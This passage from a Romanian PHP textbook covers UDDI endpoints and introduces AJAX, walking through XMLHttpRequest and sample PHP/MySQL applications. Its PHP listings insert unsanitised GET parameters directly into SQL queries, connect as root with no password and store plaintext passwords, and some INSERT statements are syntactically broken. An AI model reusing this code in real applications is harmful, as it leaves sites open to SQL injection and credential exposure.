• un nod UBR, utilizat pentru interogare ºi publicare, accesibil prin interfeþele:
o UDDI Web User Interface: http://uddi.microsoft.com;
o UDDI API Inquiry Interface: http://uddi.microsoft.com/inquire;
o UDDI API Publish Interface: http://uddi.microsoft.com/publish;
• un nod UBR pentru dezvoltare ºi testare (dedicat dezvoltatorilor), accesibil prin
urmãtoarele interfeþe:
o UDDI Web User Interface: http://test.uddi.microsoft.com;
o UDDI API Inquiry Interface: http://test.uddi.microsoft.com/inquire;
o UDDI API Publish Interface: http://test.uddi.microsoft.com/publish.
În continuare sunt enumerate operaþiunile suportate de nodul utilizat pentru dezvol-
tarea ºi testarea aplicaþiilor dezvoltatorilor, accesibil prin UDDI API Inquiry Interface.
Între paranteze sunt precizate numele operaþiunilor, aºa cu sunt ele definite în documentul
WSDL al serviciului (http://test.uddi.microsoft.com/inquire.asmx?WSDL):
PHP ªI SERVICIILE WEB 229

• FindBinding (find_binding);
• GetBusinessDetailExt (get_businessDetailExt);
• FindRelatedBusinesses (find_relatedBusinesses);
• ValidateCategorization (validate_categorization);
• GetTModeDetail (get_tModeDetail);
• GetBusinessDetail (get_businessDetail);
• FindTModel (find_tModel );
• FindService (find_service);
• GetServiceDetail (get_serviceDetail);
• FindBusiness (find_business );
• GetBindingDetail (get_bindingDetail).
În scripturile anterioare a fost utilizatã operaþiunea FindBusiness (find_business ,
în documentul WSDL). Exemple pentru cererea ºi rãspunsul SOAP corespunzãtoare pot
fi analizate la adresa http://test.uddi.microsoft.com/inquire.asmx?op=FindBusiness.
230 PROGRAMAREA ÎN PHP

CAPITOLUL 8

PHP ºi AJAX
„Când ai puþine dorinþe, ai ºi puþine lipsuri.”
Plutarh

În acest capitol veþi învãþa despre o tehnicã de remote scripting,


numitã AJAX (Asynchronous JavaScript And XML), ce utilizeazã
obiectul XMLHttpRequest, ºi veþi analiza câteva aplicaþii realizate
pe baza acestei tehnici, pe care, uterior, le puteþi utiliza în siturile
dumneavoastrã.

AJAX este un acronim pentru Asynchronous JavaScript And XML. Acest termen
(similar cu XMLHttpRequest scripting) se referã o tehnicã de tip remote scripting,
utilizatã pentru crearea aplicaþiilor Web interactive. Tehnica amintitã foloseºte, combinat,
urmãtoarele limbaje ºi tehnologii:
• XHTML ºi CSS pentru prezentarea informaþiilor;
• Document Object Model (DOM) ºi JavaScript pentru afiºare dinamicã ºi interacþiune;
• XML ºi XSLT pentru schimbul de date ºi manipularea acestora;
• obiectul XMLHttpRequest pentru accesarea asincronã a datelor.

AJAX combinã un set de tehnologii ºi le utilizeazã într-un mod specific. Aceastã


tehnicã s-a impus de curând ca o soluþie eficientã pentru creºterea interactivitãþii
ºi a vitezei de execuþie a aplicaþiilor Web. Principiul care stã la baza acestei
tehnici este simplu: browserul, prin intermediul JavaScript, poate realiza cereri de date
cãtre server fãrã reîncãrcarea paginii Web.
Pentru utilizarea tehnicii AJAX este necesar ca browserul utilizatorului sã permitã
execuþia scripturilor scrise în limbajul JavaScript. În caz contrar, el nu poate beneficia de
avantajele acestei tehnici. Scrierea unor aplicaþii Web funcþionale poate lua în calcul
posibilitatea ca tehnica AJAX sã nu poatã fi utilizatã din cauza dezactivãrii JavaScript.
Relativ recent, Google a lansat serviciul Gmail (http://www.gmail.com), care imple-
menteazã o interfaþã non-JavaScript.
PHP ªI AJAX 231

Aplicaþii Web clasice vs. aplicaþii Web bazate pe AJAX


În continuare vom explica diferenþa dintre modul de lucru al aplicaþiilor Web clasice ºi
cel al aplicaþiilor Web bazate pe tehnica AJAX.
Modul de lucru al aplicaþiilor Web clasice este urmãtorul:
• clientul face o cerere HTTP pentru o resursã cãtre serverul Web (aceastã resursã
poate fi o paginã XHTML, PHP, ASP, ASPX, JSP etc.):
• serverul Web paseazã cererea unui modul, pentru procesare;
• dupã procesare, serverul trimite clientului datele în diverse formate (e.g., XHTML).
Dezavantajul major al acestui mod de lucru este acela cã toate componentele unei
pagini trebuie actualizate (chiar dacã nu este necesar), iar utilizatorul – dupã fiecare
acþiune – trebuie sã aºtepte rãspunsul serverului (interacþiune sincronã). Astfel, orice
încercare de actualizare a unei componente incluse într-o paginã implicã stabilirea unei
noi conexiuni ºi reîncãrcarea completã a paginii. Rezultã cã acest mod de lucru este mare
consumator de timp ºi de resurse.
Modul de lucru al aplicaþiilor Web clasice implicã existenþa unor timpi neutilizaþi.

Figura 8.1. Modul de lucru al aplicaþiilor Web clasice

Modul de lucru al aplicaþiilor Web bazate pe tehnica AJAX este urmãtorul:


• foloseºte interacþiunea la nivel de componentã a paginii;
• o componentã poate face un apel JavaScript cãtre motorul AJAX (AJAX engine);
• motorul AJAX face o cerere HTTP pentru o resursã situatã pe server, pe care acesta
o trimite unui modul pentru procesare;
• dupã procesare, serverul utilizeazã un model pentru schimbul de date (aºa cum este
XML), pentru a trimite datele motorului AJAX;
• motorul AJAX actualizeazã componenta care a iniþiat procesul.
Utilizând tehnica AJAX, paginile Web devin mai dinamice prin procesarea în
fundal de cãtre browser a informaþiilor.
232 PROGRAMAREA ÎN PHP

Figura 8.2. Modul de lucru al aplicaþiilor Web bazate pe AJAX

Dupã cum se poate constata, AJAX eliminã interacþiunea obiºnuitã dintre clientul ºi
serverul Web, bazatã pe reîncãrcarea completã a paginii, introducând un inter-
mediar – motorul AJAX – între aceºtia. Astfel, este posibilã actualizarea unor
porþiuni (componente) ale paginii, fãrã a fi necesarã reîncãrcarea completã a acesteia.
Interacþiunea dintre motorul AJAX ºi server este asincronã, ceea ce permite utilizatorului sã
interacþioneze cu aplicaþia fãrã a aºtepta actualizarea unor componente ale paginii. Rezultã,
astfel, o vitezã mãritã în execuþia aplicaþiilor Web, similarã cu cea a aplicaþiilor desktop.
Tehnica AJAX este utilizatã într-un numãr mare de aplicaþii, dintre care enumerãm Orkut
(https://www.orkut.com/Login.aspx), Google Groups (http://groups-beta.google.com),
Google Maps (http://google.maps.com), Gmail (http://www.gmail.com), Google Suggest
(http://www.google.com/webhp?complete=1&hl=en), Flikr (http://www.flickr.com/),
ObjectGraph Dictionary (http://www.objectgraph.com/dictionary/) etc. De asemenea,
motorul de cãutare Amazon (www.a9.com) utilizeazã o tehnicã similarã.

Figura 8.3. Google Suggest


(http://www.google.com/webhp?complete=1&hl=en)
PHP ªI AJAX 233

Microsoft a implementat obiectul XMLHttpRequest în Internet Explorer 5 ca un


obiect ActiveX. Programatorii care lucreazã în cadrul proiectului Mozilla au implementat
o versiune compatibilã Mozilla 1.0 ºi Netscape 7. Apple a realizat acelaºi lucru începând
cu Safari 1.2. Opera permite folosirea obiectului XMLHttpRequest începând cu ver-
siunea 8.0.
Consorþiul World Wide Web a inclus XMLHttpRequest în „Document Object Model
(DOM) Level 3 Load and Save Specifications” (recomandare W3C din 7 aprilie 2004).
În absenþa posibilitãþii de utilizare a tehnicii AJAX ca urmare a folosirii unor versiuni
ale browserelor mai vechi decât cele precizate anterior, o soluþie viabilã pentru remote
scripting este reprezentatã de utilizarea elementului XHTML iframe (pentru informaþii
referitoare la remote scripting cu iframe puteþi consulta documentul http://
developer.apple.com/internet/webcontent/iframe.html).
Tehnicile de remote scripting sunt forme de apel de proceduri la distanþã (RPC –
Remote Procedure Call).

Metode ºi proprietãþi ale obiectului XMLHttpRequest


Crearea unei instanþe a obiectului XMLHttpRequest se face în mod diferit, în funcþie de
browser. Astfel, pentru Mozilla, Firefox ºi Opera (în care XMLHttpRequest este obiect
nativ) se utilizeazã un apel al funcþiei constructor:
var request=new XMLHttpRequest();
Pentru Internet Explorer (în care XMLHttpRequest este un obiect ActiveX) se
transmite numele obiectului cãtre constructorul ActiveX:
var req=new ActiveXObject(”Msxml2.XMLHTTP”);
var req=new ActiveXObject(”Microsoft.XMLHTTP”);
Se utilizeazã una sau alta dintre cele douã variante, în funcþie de versiunea de Internet
Explorer instalatã.
Indiferent de browser, constructorii întorc un obiect abstract, ale cãrui metode
controleazã toate operaþiile. Metodele sale furnizeazã date returnate de server ºi informaþii
de stare.

Metode
În continuare, sunt prezentate (în ordine alfabeticã), pe scurt, metodele comune ale
instanþelor obiectului XMLHttpRequest suportate de browserele Mozilla 1+, Firefox,
Netscape 7+, Internet Explorer 5+ ºi Opera 8.0:
• abort(): opreºte cererea curentã;
• getAllResponseHeaders(): întoarce ca un ºir de caractere (string) setul complet
de anteturi HTTP (nume ºi valori) ale unei resurse;
• getResponseHeader(”name”): întoarce ca un ºir de caractere (string) valoarea
antetului name inclus în anteturile HTTP ale rãspunsului serverului. În exemplul
urmãtor este obþinutã data ultimei modificãri (antetul Last-Modified ) a unui fiºier
aflat pe server:
234 PROGRAMAREA ÎN PHP

request.getResponseHeader(”Last-Modified”)
• open(”method”,”url”[,”asyncFlag”[,”userName”[,”password”]]]): iniþia-
lizeazã o cerere cãtre serverul Web, având ca parametri metoda ( method) care va fi
utilizatã de cerere, URL-ul (url ) folosit pentru conexiunea cu serverul ºi alþi
parametri ai cererii curente. Primii doi parametri sunt obligatorii. Metodele care pot
fi utilizate sunt cele ale protocolului HTTP. Cele mai des utilizate sunt GET (dacã se
intenþioneazã obþinerea unor date de pe server), POST (dacã se doreºte trimiterea
datelor pe server, mai ales dacã lungimea acestora depãºeºte 512 bytes sau dacã se
doreºte modificarea sau crearea resurselor pe server) ºi HEAD (dacã se doreºte
obþinerea anteturilor unei resurse). Al treilea parametru (asyncFlag ) este opþional
ºi precizeazã dacã tranzacþiile cu serverul trebuie manipulate sincron sau asincron.
Dacã valoarea acestui parametru – de tip boolean – este TRUE (valoare implicitã),
înseamnã cã procesarea scriptului are loc imediat dupã apelul funcþiei send(), fãrã
a aºtepta rãspunsul serverului (manipulare asincronã). Dacã valoarea parametrului
este FALSE, scriptul aºteaptã sosirea rãspunsului de la server (manipulare sincronã).
Este indicat sã utilizaþi modul asincron, pentru ca utilizatorul sã nu decidã închiderea
browserului în cazul în care rãspunsul serverului soseºte târziu. Ceilalþi parametri
opþionali sunt numele de utilizator (username) ºi parola (password), utilizaþi în
cazul în care conectarea la server necesitã autentificare;
• setRequestHeader(”header,value”): seteazã un antet HTTP al cererii curente
(header este numele antetului care trebuie precizat, iar value este corpul acestuia).
Înainte de a fi apelatã aceastã funcþie, trebuie utilizatã funcþia open(). În exemplul
urmãtor, antetul Content-Type va primi valoarea text/xml :
request.setRequestHeader(”Content-Type”,”text/xml”)

• send([content]): transmite cererea cãtre server. Aceasta poate avea, opþional,


date incluse ca un parametru, sub forma unui ºir sau a unui obiect DOM.

Proprietãþi
Dupã trimiterea cererii, pot fi utilizate proprietãþile instanþei obiectului XMLHttpRequest
(toate proprietãþile sunt read only). În continuare, sunt prezentate proprietãþile comune
browserelor amintite anterior:
• onreadystatechange : oferã o modalitate de tratare a evenimentului readyState la
fiecare schimbare a stãrii acestuia. Astfel, prin intermediul acestei proprietãþi poate
fi precizatã o funcþie pentru procesarea rãspunsului serverului, ca în exemplul oferit
în continuare (vezi ºi proprietãþile urmãtoare):
function handlerRequest() {
if (req.readyState == 4) {
if (req.status == 200) {
//instructiuni pentru procesarea raspunsului
}
else {
alert(”Cererea nu poate fi satisfacuta:\n”
PHP ªI AJAX 235

+req.statusText);
}
}
}
request.onreadystatechange = handlerRequest;

Poate fi utilizatã ºi o funcþie anonimã, ca în exemplul urmãtor:


request.onreadystatechange = function() {
if (req.readyState == 4) {
if (req.status == 200) {
//instructiuni pentru procesarea raspunsului
}
else {
alert(”Cererea nu poate fi satisfacuta:\n”
+req.statusText);
}
}
}

• readyState: se precizeazã ca un întreg care indicã starea obiectului XMLHttpRequest.


Valorile sale sunt: 0 (neiniþializat: obiectul a fost creat, dar metoda open() nu a fost
apelatã), 1 (cererea este în curs de încãrcare: obiectul a fost creat, conexiunea –
deschisã, dar metoda send() nu a fost apelatã), 2 (cererea a fost încãrcatã: metoda
send() a fost apelatã, proprietatea status – vezi în continuare – este disponibilã, dar
rãspunsul serverului încã nu a fost primit), 3 (interactiv: o parte din rezultate au fost
primite; rezultatele parþiale pot fi obþinute utilizând proprietatea responseText – vezi
în continuare) ºi 4 (cererea este rezolvatã: toate rezultatele au fost primite, ele fiind
disponibile în responseText);
• responseText: include, sub formã de ºir, datele întoarse de server;
• responseXML : include datele întoarse de server ca un document XML, care poate
fi prelucrat ulterior;
• status: conþine un cod numeric de rãspuns – întors de server – la cererea emisã de
client, ca, de exemplu, 404 pentru Not Found sau 200 pentru Ok;
• statusText: conþine, sub formã de ºir, un mesaj explicativ de rãspuns – întors de
server – la cererea emisã de client, în acord cu codul numeric precizat de proprietatea
status.

Iatã un exemplu de script cu execuþie asincronã pentru browserele Mozilla, Firefox ºi


Opera:
var request=new XMLHttpRequest();
request.open(”GET”,”http://un_sit.com”,true);
request.onreadystatechange=handleRequest;
request.send(null);
alert(’In curs de executie ...’);
function handleRequest() {
if (request.readyState == 4 ) {
236 PROGRAMAREA ÎN PHP

alert(’A fost primit raspunsul!’);


}
}
În continuare vã prezentãm ºi un exemplu de script cu execuþie asincronã pentru
browserul Internet Explorer:
var request=new ActiveXObject(Microsoft.XMLHTTP);
request.open(”GET”,”http://un_sit.com”,true);
request.onreadystatechange=handleRequest;
request.send();
alert(’In curs de executie ...’);
function handleRequest() {
if (request.readyState == 4 ) {
alert(’A fost primit raspunsul!’);
}
}

Deoarece instanþierea obiectului se face diferit, în funcþie de tipul browserului (într-un


mod în Internet Explorer ºi în alt mod în celelalte), rezultã c㠖 pentru utilizarea AJAX –
ar trebui scrise scripturi JavaScript diferite pentru browsere diferite. Se poate evita acest
lucru punând la începutul oricãrui script care foloseºte obiectul XMLHttpRequest
secvenþa urmãtoare (ce realizeazã ºi tratarea erorilor):
var request;
try {
request = new ActiveXObject(”Msxml2.XMLHTTP”);
} catch (e) {
try {
request = new ActiveXObject(”Microsoft.XMLHTTP”);
} catch (E) {
request = false;
}
}
if(!request && typeof XMLHttpRequest!=’undefined’) {
try {
request = new XMLHttpRequest();
} catch (e) {
request = false;
}
}
Puteþi utiliza, de asemenea, ºi urmãtoarea secvenþã:
var request;
if(window.XMLHttpRequest) {
try {
request = new XMLHttpRequest();
} catch(e) {
PHP ªI AJAX 237

request = false;
}
} else
if(window.ActiveXObject) {
try {
request = new ActiveXObject(”Msxml2.XMLHTTP”);
} catch(e) {
try {
request = new ActiveXObject(”Microsoft.XMLHTTP”);
} catch(e) {
request = false;
}
}
}
Pentru crearea unei instanþe a obiectului XMLHttpRequest puteþi utiliza funcþia
getObject(), prezentatã în continuare. Salvaþi codul JavaScript în fiºierul getobject.js:
function getObject() {
var request;
try {
request = new ActiveXObject(”Msxml2.XMLHTTP”);
} catch (e) {
try {
request = new ActiveXObject(”Microsoft.XMLHTTP”);
} catch (E) {
request = new XMLHttpRequest();
}
}
if (!request && typeof XMLHttpRequest!=’undefined’) {
try {
request = new XMLHttpRequest();
} catch (e) {
request = false;
}
}
return request;
}

Aplicaþii care utilizeazã tehnica AJAX


În aceastã secþiune sunt prezentate câteva aplicaþii în care este utilizatã tehnica AJAX.
Le puteþi include în siturile dumneavoastrã, crescând astfel interactivitatea cu
utilizatorul.
238 PROGRAMAREA ÎN PHP

Validare în timp real


În continuare, este oferit un exemplu pe care îl puteþi folosi pentru a înregistra noi
utilizatori pe situl dumneavoastrã. Este evident cã identificatorul unui utilizator trebuie
sã fie unic. În exemplul oferit este realizatã validarea identificatorului trimis de un
utilizator care doreºte sã se înregistreze pe sit. Aplicaþia prezentatã se numeºte RTDV
(Real Time Data Validation).
Utilizând clientul mysqlc (sau oricare altul), creaþi baza de date xmlhttprequest ºi
tabelul users, astfel:
mysql>CREATE DATABASE xmlhttprequest;
->USE xmlhttprequest;
->CREATE TABLE users (
->first varchar(20) NOT NULL,
->second varchar(20) NOT NULL,
->userid varchar(20) NOT NULL,
->password varchar(20) NOT NULL,
->PRIMARY KEY (userid)
->);

Introduceþi câteva înregistrãri în tabelul users:


mysql>INSERT INTO users
->VALUES (’Traian’,’Anghel’,’traian’,’parola’);
mysql>INSERT INTO users
->VALUES (’Daniel’,’Turcu’,’daniel’,’parola’);
mysql>INSERT INTO users
->VALUES (’Radu’,’Grigore’,’radu’,’parola’);

Aplicaþia prezentatã include douã fiºiere. Acestea sunt register.html ºi validate.php.


Conþinuturile celor douã fiºiere componente ale aplicaþiei pot fi analizate în listing-urile
8.1 ºi 8.2.
8.1. Aplicaþia Real Time Data Validation: fiºierul register.html
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Inregistrare a utilizatorilor</title>
<script src=”getobject.js” type=”text/javascript”></script>
<script type=”text/javascript” language=”JavaScript”>
<!-- <![[CDATA[
var request;
var user;
function validateUserID(userid) {
user=userid;
PHP ªI AJAX 239

var url=”http://127.0.0.1/xmlhttprequest/
validate.php?userid=”+user
request=getObject();
request.onreadystatechange = handleRequest;
request.open(”GET”,url,true);
if(window.XMLHttpRequest)
request.send(null);
if(window.ActiveXObject)
request.send();
}
function handleRequest() {
if (request.readyState==4)
if(request.status == 200)
if(request.responseText==”exista”)
alert(”Acest utilizator (”+user +
”) exista deja!”);
}
function getFocus(){
document.form1.first.focus();
}
// ]] -->
</script>
</head>
<body onLoad=”getFocus();”>
<center><h3>Inregistrare</h3>
<form action=”validare.php” method=”get” name=”form1”>
<table cellspacing=5>
<tr><td align=”left”>First Name</td>
<td><input type=”text” name=”first” size=”15”
maxlength=”20” /></td>
</tr>
<tr><td align=”left”>Second Name</td>
<td><input type=”text” name=”second” size=”15”
maxlength=”20” /></td>
</tr>
<tr><td align=”left”>User ID</td>
<td><input type=”text” name=”userid” size=”15”
maxlength=”20”
onBlur=”validateUserID(this.value);” /></td>
</tr>
<tr><td align=”left”>Password</td>
<td><input type=”text” name=”password” size=”15”
maxlength=”20” /></td>
</tr>
<tr><td></td>
<td colspan=”2”><input type=”submit” name=”submit”
240 PROGRAMAREA ÎN PHP

value=”Register” /></td>
</tr>
<tr><td></td>
<td><input type=”reset” name=”reset”
value=”Reset” /></td>
</tr>
</table>
</form>
</center>
</body>
</html>

Dupã cum se observã, câmpul în care utilizatorul introduce identificatorul pe care ºi-l
doreºte este creat astfel:
<input type=”text” name=”userid”
onBlur=”validateUserID(this.value);”>

Evenimentul onBlur se va produce atunci când este pãrãsit câmpul userid. Validarea
este realizatã prin intermediul funcþiei validateUserID(). În scrierea acestei funcþii
puteþi utiliza ºi un URL relativ:
var URL=”validare.php?userid=”+userid;

Pe server este executat scriptul validate.php, care comparã identificatorul propus de


noul utilizator cu cele deja existente (într-o bazã de date MySQL). Dacã identificatorul
existã, utilizatorul va primi mesajul „Acest utilizator (userid) existã deja!”.
În locul evenimentului onBlur puteþi utiliza evenimentul onKeyUp. În acest fel,
utilizatorul poate verifica dupã introducerea fiecãrui caracter dacã indentificatorul
respectiv este alocat deja. Ca avantaj menþionãm menþinerea focusului în câmpul userid,
chiar dacã utilizatorul introduce un identificator alocat anterior altui utilizator, iar ca
dezavantaj, mãrirea traficului între client ºi server.

8.2. Aplicaþia Real Time Data Validation: fiºierul validate.php


<?php
$conexiune=mysql_connect(”localhost”,”root”,””) or
die(”Conexiunea cu baza de date nu a putut fi realizata!”);
mysql_select_db(”xmlhttprequest”,$conexiune) or
die(”Accesul la baza de date nu a fost realizat”);
$user=$_GET[’userid’];
$query=”SELECT * FROM users WHERE userid=’$user’”;
$rezultat=mysql_query($query);
if(mysql_num_rows($rezultat)==1){
echo ”exista”;
exit();
}
?>
PHP ªI AJAX 241

Iatã ce se obþine în cazul în care un nou utilizator doreºte sã foloseascã un identificator


(traian) inclus deja în baza de date:
Real Time Data Validation: ID-ul traian nu mai poate fi folosit

Acþiune rapidã
Tehnica AJAX poate fi utilizatã pentru a efectua diverse acþiuni în pagina încãrcatã în
browser, acþiuni care implicã o cerere cãtre server. În aceastã secþiune vor fi prezentate
douã exemple: în primul exemplu se obþin anteturilor unei resurse, iar în al doilea, se
afiºeazã informaþii referitoare la server.
Cu o cerere HEAD, un server întoarce numai anteturile resursei, ceea ce înseamnã cã
pot fi obþinute informaþii despre aceasta (ca, de exemplu, data ultimei modificãri) fãrã
a o descãrca. Pentru a obþine toate anteturile resursei trebuie utilizatã metoda
getAllResponseHeaders() , iar pentru a obþine numai un anumit antet al acesteia trebuie
utilizatã metoda getResponseHeader(”name”), în care name este numele antetului ce se
doreºte a fi obþinut. În continuare este prezentat un exemplu prin intermediul cãruia sunt
obþinute toate anteturile HTTP ale unei resurse aflate pe server, respectiv un singur antet
(Last-Modified, care precizeazã data ultimei modificãri) al acesteia. Aplicaþia include un
singur fiºier – h.html –, al cãrui conþinut este prezentat în listing-ul 8.3:
8.3. Obþinerea anteturilor unei resurse: fiºierul h.html
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Anteturi HTTP</title>
<script src=”getobject.js” type=”text/javascript”></script>
<script type=”text/javascript” language=”javascript”>
<!-- <[[CDATA[
242 PROGRAMAREA ÎN PHP

var request;
function getHeader(f){
var url=”http://127.0.0.1/index.html”;
request=getObject();
if (f == 1)
request.onreadystatechange = handleRequest1;
if (f == 2)
request.onreadystatechange = handleRequest2;
request.open(”HEAD”,url,true);
if(window.XMLHttpRequest)
request.send(null);
if(window.ActiveXObject)
request.send();
}
function handleRequest1(){
if (request.readyState == 4) {
if (request.status == 200) {
ShowDiv(”message”);
document.getElementById(”message”).innerHTML =
request.getAllResponseHeaders();
}
else {
ShowDiv(”message”);
document.getElementById(”message”).innerHTML =
”A aparut o problema:\n”+request.statusText;
}
}
}
function handleRequest2(){
if (request.readyState == 4) {
if (request.status == 200) {
ShowDiv(”message”);
document.getElementById(”message”).innerHTML =
request.getResponseHeader(”Last-Modified”);
}
else {
ShowDiv(”message”);
document.getElementById(”message”).innerHTML =
”A aparut o problema:\n”+request.statusText;
}
}
}
/* Functia face vizibil elementul al carui identificator il
primeste ca argument. */
function ShowDiv(divid){
if (document.layers)
PHP ªI AJAX 243

document.layers[divid].visibility=”show”;
else
document.getElementById(divid).
style.visibility=”visible”;
}
/* Functia ascunde elementul al carui identificator il
primeste ca argument. */
function HideDiv(divid){
if (document.layers)
document.layers[divid].visibility=”hide”;
else
document.getElementById(divid).
style.visibility=”hidden”;
}
// ]]> -->
</script>
</head>
<body>
Vezi <a href=”/” onMouseOver=”getHeader(1);”
onMouseOut=”HideDiv(’message’);”>
toate anteturile</a><br />
Vezi <a href=”/” onMouseOver=”getHeader(2);”
onMouseOut=”HideDiv(’message’);”>
data ultimei modificari</a><br />
<div id=”message” style=”width: 300px; color: blue;
padding: 5px; border: 1px solid gray; visibility:hidden”>
</div>
</body>
</html>

În continuare prezentãm un exemplu în care se afiºeazã informaþii referitoare la


server atunci când utilizatorul plaseazã cursorul mouse-ului pe o legãturã. Aplicaþia
include douã fiºiere (info.html ºi info.php). Conþinuturile celor douã fiºiere le puteþi
analiza în listing-urile 8.4 ºi 8.5.
Obþinerea anteturilor unei resurse
244 PROGRAMAREA ÎN PHP

8.4. Obþinerea unor informaþii referitoare la server: fiºierul info.html


<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Informatii</title>
<script src=”getobject.js” type=”text/javascript”></script>
<script type=”text/javascript” language=”javascript”>
<!-- <[[CDATA]
var request;
function getTime(){
var url = ”http://127.0.0.1/xmlhttprequest/info.php”;
request = getObject();
request.onreadystatechange = handleRequest;
request.open(”GET”,url,true);
if(window.XMLHttpRequest)
request.send(null);
if(window.ActiveXObject)
request.send();
}
function handleRequest(){
if (request.readyState == 4) {
if (request.status == 200) {
ShowDiv(”message”);
document.getElementById(”message”).innerHTML =
request.responseText;
}
else {
ShowDiv(”message”);
document.getElementById(”message”).innerHTML =
”Este o problema:\n”+request.statusText;
}
}
}
/* Functia face vizibil elementul al carui identificator il
primeste ca argument */
function ShowDiv(divid){
if (document.layers)
document.layers[divid].visibility=”show”;
else
document.getElementById(divid).
style.visibility=”visible”;
}
/* Functia ascunde elementul al carui identificator il
primeste ca argument */
PHP ªI AJAX 245

function HideDiv(divid){
if (document.layers)
document.layers[divid].visibility=”hide”;
else
document.getElementById(divid).
style.visibility=”hidden”;
}
// ]]> -->
</script>
</head>
<body>
<a href=”#” onMouseOver=”getTime();”
onMouseOut=”HideDiv(’message’);”>
Informatii despre server</a><br />
<div id=”message” style=”width: 450px; margin-top: 20px;
color:blue; visibility:hidden;”>
</div>
</body>
</html>

8.5. Obþinerea unor informaþii referitoare la server: fiºierul info.php


<?php
echo date(”F j, Y, g:i a”).”<br />”;
echo ”Server Name: ”.$_SERVER[’SERVER_NAME’].”<br />
Document Root: ”.$_SERVER[’DOCUMENT_ROOT’].”<br />
Server Port: ”.$_SERVER[’SERVER_PORT’].”<br />
Server Signature: ”.$_SERVER[’SERVER_SIGNATURE’];
?>

Obþinerea unor informaþii referitoare la server


246 PROGRAMAREA ÎN PHP

Extragere dinamicã fãrã refresh


În continuare vom prezenta o aplicaþie (Phone Numbers) care permite actualizarea în
browser a unor informaþii extrase dintr-o bazã de date de pe server, fãrã reîncãrcarea
întregii pagini (refresh).
Creaþi tabelul numbers, care va conþine numerele de telefon ale unor prieteni.
Aplicaþia va permite afiºarea numãrului de telefon în funcþie de numele introdus de
utilizator de la tastaturã:
mysql>USE xmlhttprequest;
mysql>CREATE TABLE numbers
->(
->name VARCHAR(20) NOT NULL,
->cell VARCHAR(10) NOT NULL,
->PRIMARY KEY (name)
->);

Introduceþi în tabel câteva înregistrãri (datele sunt fictive):


mysql>INSERT INTO numbers VALUES (’daniel’,’0744111111);
mysql>INSERT INTO numbers VALUES (’radu’,’0743222222);
mysql>INSERT INTO numbers VALUES (’catalin’,’0743333333);

Aplicaþia Phone Numbers conþine fiºierele number.html ºi number.php, incluse în


listing-urile 8.6 ºi 8.7.
8.6. Aplicaþia Phone Numbers: fiºierul number.html
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Extragere dinamica fara refresh</title>
<script src=”getobject.js” type=”text/javascript”></script>
<script type=”text/javascript” language=”javascript”>
<!-- <![[CDATA[
var request;
function getNumber(friend){
if (friend == ””)
return;
var url = ”number.php?name=”+friend;
numbers.cell.value = ”Caut ...”;
request=getObject();
request.onreadystatechange = handleRequest;
request.open(”GET”,url,true);
if(window.XMLHttpRequest)
request.send(null);
PHP ªI AJAX 247

if(window.ActiveXObject)
request.send();
}
function handleRequest() {
if (request.readyState == 4) {
if (request.status == 200) {
numbers.cell.value = request.responseText;
} else {
alert(”Datele cerute nu pot fi cautate:\n” +
request.statusText);
}
}
}
function getFocus(){
document.numbers.friend.focus();
}
// ]]> -->
</script>
</head>
<body>
<form name=”numbers”>
<table>
<tr>
<td>Friend</td>
<td><input type=”text” name=”friend”
onBlur=”getNumber(this.value);” id=”friend” /></td>
</tr>
<tr>
<td>Cell number</td>
<td><input type=”text” id=”cell” name=”cell” size=”20”
style=”background-color: snow;
border: 2px dashed gray;text-align: center;”
disabled=”disabled” /></td>
</tr>
</table>
</form>
</body>
</html>

Pentru a mãri interactivitatea aplicaþiei, înlocuiþi evenimentul onBlur() cu eveni-


mentul onKeyUp . În felul acesta, funcþia getNumber() va fi apelatã (ºi cãutarea în
tabelul MySQL numbers va fi efectuatã) de fiecare datã când utilizatorul introduce un
caracter în caseta friend:
onKeyUp=”getNumber(this.value);”
Trebuie ºtiut cã utilizarea evenimentului onKeyUp implicã un trafic mai mare între
server ºi client.
248 PROGRAMAREA ÎN PHP

8.7. Aplicaþia Phone Numbers: fiºierul number.php


<?php
$conexiune=mysql_connect(”localhost”,”root”,””) or
die(”Conexiunea cu baza de date nu a putut fi realizata!”);
mysql_select_db(”xmlhttprequest”,$conexiune) or
die(”Accesul la baza de date nu a fost realizat”);
$name=$_GET[’name’];
$query=”SELECT cell FROM numbers WHERE name=’$name’”;
$result=mysql_query($query);
if(mysql_num_rows($result)!=1)
echo ”Nu exista!”;
else{
$rez=mysql_fetch_row($result);
echo $rez[0];
}
?>

Aplicaþia Phone Numbers

În continuare este prezentatã o altã aplicaþie (Nobel Prize) utilizatã pentru extragerea
dinamicã a datelor fãrã refresh. Aplicaþia conþine douã fiºiere: physicist.html (listing-ul
8.8) ºi physicist.php (listing-ul 8.9).
În baza de date XMLHttpRequest, creaþi tabelul info:
mysql>USE xmlhttprequest;
mysql>CREATE TABLE info
->(
->id VARCHAR(20) NOT NULL,
->name VARCHAR(40) NOT NULL,
->year YEAR(4) NOT NULL,
->domain ENUM(’mecanica cuantica’,’fizica atomica’) NOT NULL,
->PRIMARY KEY (id)
->);
PHP ªI AJAX 249

Introduceþi în tabel câteva înregistrãri:


mysql>INSERT INTO info
->VALUES (’bohr’,’Niels Bohr’,1922,’fizica atomica’);
mysql>INSERT INTO info
->VALUES (’born,’Max Born,1954,’mecanica cuantica’);
mysql>INSERT INTO fizicieni
->VALUES (’broglie’,’Louis Victor Pierre de Broglie, 1929,
->’mecanica cuantica);
mysql>INSERT INTO info
->VALUES (’einstein’,’Albert Einstein’,1921,’fizica atomica);
mysql>INSERT INTO info
->VALUES (’heisenberg’,’Werner Heisenberg’,1932,
->’mecanica cuantica’);

În listing-urile 8.8 ºi 8.9 este prezentat codul-sursã inclus în fiºierele physicist.html


ºi physicist.php.

8.8. Aplicaþia Nobel Prize: fiºierul physicist.html


<!DOCTYPE html
